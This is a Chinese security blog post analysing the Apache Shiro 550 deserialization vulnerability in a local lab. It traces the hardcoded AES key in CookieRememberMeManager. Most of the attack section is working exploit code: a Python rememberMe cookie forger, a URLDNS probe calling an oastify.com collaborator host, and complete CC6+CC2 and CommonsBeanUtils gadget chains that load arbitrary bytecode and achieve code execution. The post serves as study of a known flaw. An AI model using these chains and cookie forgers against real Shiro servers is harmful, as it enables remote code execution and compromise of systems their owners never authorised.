Java反序列化-Shiro550分析

xekOnerR Sleep.. zzzZZzZ

前置 - 环境搭建

https://drun1baby.top/2022/07/10/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Shiro%E7%AF%8701-Shiro550%E6%B5%81%E7%A8%8B%E5%88%86%E6%9E%90/

https://www.bilibili.com/video/BV1iF411b7bD/?spm_id_from=333.1387.upload.video_card.click&vd_source=d51dbb41ef00391c5c021ee533eafd8e

https://github.com/phith0n/JavaThings/tree/master

  • jdk8u65
  • tomcat < 10 (这里我是用了tomcat9)
  • shiro 1.2.4

使用其他佬的环境进行搭建
https://github.com/phith0n/JavaThings/tree/master

  • 配置Applications Server

    JAVA/Shiro/attachments/Pasted image 20260220124911.png
  • 配置 project Structure

    JAVA/Shiro/attachments/Pasted image 20260220124934.png
  • 配置 edit configurations

    JAVA/Shiro/attachments/Pasted image 20260220125056.png
  • 运行 login.jsp 测试

    JAVA/Shiro/attachments/Pasted image 20260220125121.png

默认凭据 : root / secret

shiro550 分析

JAVA/Shiro/attachments/Pasted image 20260220130831.png

在勾选rememberMe后,会返回 rememberMe=deleteMe;
并且在之后的每次访问中都会携带rememberMe
JAVA/Shiro/attachments/Pasted image 20260220130941.png

看到该Cookie很长,推测使用了什么加密。

我们去找一下源码看看cookie的加密过程

双击shift 搜索File Cookie

找到了可能是 shiro 加密 cookie rememberMe 的 java 源码
名字为 CookieRememberMeManager
如果这里打开是class文件的话,可以去maven管理中 download sources即可。

定位到 getRememberedSerializedIdentity 方法
JAVA/Shiro/attachments/Pasted image 20260220132157.png

很直观的base64 decode

找一下该方法哪里调用了

find usage 定位到 getRememberedPrincipals
JAVA/Shiro/attachments/Pasted image 20260220132840.png

跟进 convertBytesToPrincipals 方法
JAVA/Shiro/attachments/Pasted image 20260220132928.png

可以看到是进行了decrypt解密,然后进行deserialize
这里的 deserialize就是调用的原生反序列化操作

主要看一下解密方法:
JAVA/Shiro/attachments/Pasted image 20260220133804.png

可以通过参数名字和方法内的内容判断出来,该加密方式为对称加密,通常为AES等。
看到 getDecryptionCipherKey 很像解密需要的key

find usage
JAVA/Shiro/attachments/Pasted image 20260220134555.png

继续 find usage , 主要是找赋值的地方
JAVA/Shiro/attachments/Pasted image 20260220135055.png

继续找
JAVA/Shiro/attachments/Pasted image 20260220135302.png

JAVA/Shiro/attachments/Pasted image 20260220135534.png

进入DEFAULT_CIPHER_KEY_BYTES 可以看到:

1
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

key是固定的。

所以解密过程就很直白明了:
Base64 Decode -> AES Decode -> unserialize

所以加密过程就是反过来:
AES Encode -> Base64 Encode -> serialize

shiro550 利用

因为知道了加密的过程,我们先用python写一下最后的加密步骤:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
# -*- coding:utf-8 -*-
# @FileName: poc.py
# @Software: VSCode (macOS)

import sys
import base64
import uuid
from Crypto.Cipher import AES

def get_file_data(filename):
"""
读取序列化后的二进制文件
"""
try:
with open(filename, 'rb') as f:
data = f.read()
return data
except FileNotFoundError:
print(f"[-] 错误:找不到文件 {filename}")
sys.exit(1)

def aes_enc(data):
"""
Shiro 550 AES CBC 加密逻辑
原理:Ciphertext = Base64(IV + AES_Encrypt(Padding(Payload)))
"""
# 1. 初始化参数
BS = AES.block_size
# PKCS7 Padding 补位逻辑
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()

key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC

# 2. 生成随机 IV (16字节)
iv = uuid.uuid4().bytes

# 3. 执行加密
encryptor = AES.new(base64.b64decode(key), mode, iv)

# 4. 拼接 IV 与 密文并进行 Base64 编码
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return ciphertext

def aes_dec(enc_data):
"""
Shiro 550 AES CBC 解密逻辑
"""
enc_data = base64.b64decode(enc_data)
# 取消补位
unpad = lambda s: s[:-s[-1]]

key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC

# 前 16 字节为 IV
iv = enc_data[:16]
encryptor = AES.new(base64.b64decode(key), mode, iv)

# 解密后去除 Padding
plaintext = encryptor.decrypt(enc_data[16:])
plaintext = unpad(plaintext)
return plaintext

if __name__ == "__main__":
# 确保当前目录下存在 ser.bin 文件
payload_data = get_file_data("ser.bin")

rememberMe_cookie = aes_enc(payload_data)
print("\n[+] Generated rememberMe Cookie:\n")
print(rememberMe_cookie.decode())

URLDNS 链

还是使用之前分析的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package Demo1;

import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class urldnsDemo {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
HashMap<URL, String> map = new HashMap();
URL url = new URL("http://3dh78acwya32r7qf0xzscnlf66cx0rog.oastify.com");
Class c = URL.class;
Field hashCode = c.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url, 1);
map.put(url, "test");
hashCode.set(url, -1);
// 再进行序列化操作即可。
serialize(map);
// unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

注意不要进行反序列化操作

拿到 ser.bin 后复制到和我们的加密文件一个路径下,直接运行 python3 ./encode.py

1
2
3
4
5
❯ python3 ./encode.py

[+] Generated rememberMe Cookie:

GSx8FZzDQ42Kghuoo/igDseUylrH9JqoVuu6HWkR1jV4lJJ+i+Z8Unw0kwCmMAB4LjqD2XG8nOI1nCDhKU0CS/KO/0WDCJ3SUYUAla/TR5hCh6Dd4+60ZeZyZjw51XC+ey6acW06efQ/zpAtG0z4Fj4jdAfyFZR33Z10I817+8i8mqO67xkdSNDk/7YDM7MVw2tu46qUwti0/T0oCI4EuSHRFB5V4k7Es38qju3UipyQdMg9H/VQfa1EOs3MwOrVuUSFxshM7SiBkHNoWOVEJ0kRq++T8yirik7SpzL2N4/BEt9MAPsdtd59m1QSVl7WCIXeLMsBqcIrA0HX0L65sGjzTHMig2dA2hjGc27fjcZG2Z0m+CFmKud3jsnbCWhGnFE+RHKUyTa7WkJ0Yhfef8z6+BSXPRLsGVhXRHRWC54=

然后直接去一个拥有rememberMe Cookie的发送包替换为我们构造的payload。

注意,如果cookie中存在 JSESSIONID=XXXXX 字段,需要删除。
否则优先读取该字段,rememberMe字段会被忽略

JAVA/Shiro/attachments/Pasted image 20260220144101.png

然后查看dns请求:
JAVA/Shiro/attachments/Pasted image 20260220144121.png

成功接收到了,证明是存在反序列化漏洞的。

cc11 利用链

我们先尝试 cc6 直接打:
JAVA/Shiro/attachments/Pasted image 20260222125323.png

发现并没有弹出 calc ,反而多了一堆报错:
JAVA/Shiro/attachments/Pasted image 20260222125345.png

1
Caused by: java.lang.ClassNotFoundException: Unable to load ObjectStreamClass [[Lorg.apache.commons.collections.Transformer;: static final long serialVersionUID = -4803604734341277543L;]: 

主要原因的话还是因为不能出现数组类, 涉及到一些 tomcat 的代码细节。

所以我们的利用链中不可以出现数组类。

那我们最方便的还是 cc2链子作为结尾。
InvokerTransformer 直接调用 newTransformer 方法
JAVA/Shiro/attachments/Pasted image 20260222130307.png

前半段还是用 cc6作为入口点,所以整条链子是这样子的:
JAVA/Shiro/attachments/Pasted image 20260222131421.png

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
package xekoner;  

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class cc11 {
public static void main(String[] args) throws Exception {
// CC3
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();

Field _name = c.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates, "asd");

Field declaredField = c.getDeclaredField("_bytecodes");
declaredField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("H:\\0x0B_FUXIAN\\Java_class_tmp\\Test.class"));
byte[][] codes = {code};
declaredField.set(templates, codes);

// CC2
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);

// CC6
HashMap<Object, Object> map = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
HashMap<Object, Object> map2 = new HashMap<>();

map2.put(tiedMapEntry, "junk");

Class cc = LazyMap.class;
Field factoryField = cc.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, invokerTransformer);
lazyMap.remove(templates);

// serialize(map2);
unserialize();


}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object o = ois.readObject();
return o;
}
}

继续拿到 python 脚本中加密,然后抓包替换验证:
JAVA/Shiro/attachments/Pasted image 20260222131800.png

成功弹出了 calc

总体来说就是 cc6 + cc2 的结合体

1
2
3
4
5
6
7
HashMap.readObject
-> TiedMapEntry.hashCode
-> LazyMap.get
-> ChainedTransformer.transform
-> InvokerTransform.transform
-> TemplatesImpl.newTransformer
-> defineClass.newInstance

实际上就是 cc6 的 入口 + cc2 的代码执行部分
去掉了 InvokerTransformer数组改为直接调用

CB 利用链

https://drun1baby.top/2022/07/12/CommonsBeanUtils%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#0x03-CommonsBeanUtils-%E7%AE%80%E4%BB%8B

虽然说 cc11可以打,但是我们知道 shiro 中是不带有 cc 的坐标的,但是有 cb,所以我们可以尝试去打 cb 链

因为是第一次遇到,学一下 CommonsBeanUtils 利用链

  • 前置
    jdk8
    pom.xml:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<dependency>  
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-logging/commons-logging -->
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>
  • 分析
    CommonsBeanUtils 主要是对于 javabean 进行操作的包

创建一个 javabean 类

1
2
3
4
5
6
7
8
9
10
11
12
package xekoner.Demo;  

public class student {
private String name = "xekOnerR";

public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}

测试代码:

1
2
3
4
5
public class shirocbDemo {  
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
System.out.println(PropertyUtils.getProperty(new student(), "name"));
}
}

Commons-BeanUtils 提供了一个静态方法,PropertyUtils.getProperty, 让使用者可以直接调用任意 JavaBean 的 getter 方法

JAVA/Shiro/attachments/Pasted image 20260222161153.png

此时,Commons-BeanUtils 会自动找到 name 属性的getter 方法,也就是 getName ,然后调用并获得返回值。
这个形式就很自然得想到能任意函数调用。

在 cc3 链中的 Templateslmpl 类中存在该方法:
JAVA/Shiro/attachments/Pasted image 20260222163032.png

因为尾部链子为 :

1
2
3
4
5
TemplatesImpl.newTransformer()
-> getTransletInstance()
-> defineTransletClasses()
-> defineClass()
-> newInstance

只需要用 PropertyUtils.getProperty() 去调用,就会走到该 getOutputProperties 方法,调用 newTransformer 方法。

所以要这样写:

1
PropertyUtils.getProperty(templates, "outputProperties");

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
TemplatesImpl templates = new TemplatesImpl();  
Class c = templates.getClass();

Field _name = c.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates, "asd");

Field declaredField = c.getDeclaredField("_bytecodes");
declaredField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("H:\\0x0B_FUXIAN\\Java_class_tmp\\Test.class"));
byte[][] codes = {code};
declaredField.set(templates, codes);

// 因为不是通过反序列化调用 所以我们加上这一段
Field declaredField1 = c.getDeclaredField("_tfactory");
declaredField1.setAccessible(true);
declaredField1.set(templates, new TransformerFactoryImpl());

PropertyUtils.getProperty(templates, "outputProperties");
JAVA/Shiro/attachments/Pasted image 20260222165843.png

所以说只要有方法可以调用 getProperty 方法,并且传入的值可控即可利用。

继续寻找:

JAVA/Shiro/attachments/Pasted image 20260222170016.png

可以看到参数可以控制。

compare 该方法其实之前在优先队列 Priorityqueue 类中也遇到了。

所以逻辑应该是这样子:
JAVA/Shiro/attachments/Pasted image 20260222170557.png

  • 编写 exp
    构造函数传入要调用的方法
1
BeanComparator BeanComparator = new BeanComparator("outputProperties");

接下来还是和 cc4 一样的利用方法,用优先队列去调用 BeanCompare 的 compare 方法:

1
2
3
4
5
6
7
8
9
10
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));  
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

priorityQueue.add(templates);
priorityQueue.add(2);

Class priorityQueueClass = PriorityQueue.class;
Field sizeField = priorityQueueClass.getDeclaredField("comparator");
sizeField.setAccessible(true);
sizeField.set(priorityQueue, beanComparator);

这里用 transformingComparator 先传入 ConstantTransformer(1) 是因为防止在 add 的时候触发代码导致一些不必要的问题。
后续通过反射改回来即可,虽然说是 cc 中的类,但是反序列化的时候实际是不运行的,所以只需要本地存在 cc 即可。

尝试打一下 poc,但是并没有弹 calc
JAVA/Shiro/attachments/Pasted image 20260222173245.png

报错原因是找不到 cc 类,报错点应该是在这里:
JAVA/Shiro/attachments/Pasted image 20260222173510.png

在这里构造函数中调用了 cc 中的方法

那我们采用下面一种构造方法:
JAVA/Shiro/attachments/Pasted image 20260222173550.png

直接传入一个 CB 中有的类,同时满足继承于 serializable 以及 comparator 即可。

选择 AttrCompare (这里改成 null 为空也可以)
JAVA/Shiro/attachments/Pasted image 20260222174658.png

修改 poc:

1
BeanComparator beanComparator = new BeanComparator("outputProperties", new AttrCompare());
JAVA/Shiro/attachments/Pasted image 20260222175827.png

可以成功执行的。

如果这里执行没反应,或者爆 CB 的错误
可以看一下版本是否正确,这里我用的是

1
2
3
4
5
<dependency>  
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.2</version>
</dependency>

总结

shiro550 漏洞利用其实不算难,主要漏洞点还是在于固定 key 加解密。
可以使用 URLDNS 进行探测,然后利用 CB 链进行攻击。
CB 链中需要注意的点: 需要用 transformingComparator 来绕过 add 本地调用,然后反射改回来;以及 cc 的调用。

完整 CB 链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package xekoner;  

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;
import xekoner.Demo.student;

import javax.xml.crypto.dsig.Transform;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class shirocbDemo {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();

Field _name = c.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates, "asd");

Field declaredField = c.getDeclaredField("_bytecodes");
declaredField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("H:\\0x0B_FUXIAN\\Java_class_tmp\\Test.class"));
byte[][] codes = {code};
declaredField.set(templates, codes);

BeanComparator beanComparator = new BeanComparator("outputProperties", null);

TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

priorityQueue.add(templates);
priorityQueue.add(2);

Class priorityQueueClass = PriorityQueue.class;
Field comparator = priorityQueueClass.getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue, beanComparator);

serialize(priorityQueue);
// unserialize("ser.bin");

}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos;
oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws ClassNotFoundException, IOException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
  • Title: Java反序列化-Shiro550分析
  • Author: xekOnerR
  • Created at : 2026-02-22 18:02:39
  • Updated at : 2026-02-22 18:19:45
  • Link: https://xekoner.xyz/2026/02/22/Java反序列化-Shiro550分析/
  • License: This work is licensed under CC BY-NC-SA 4.0.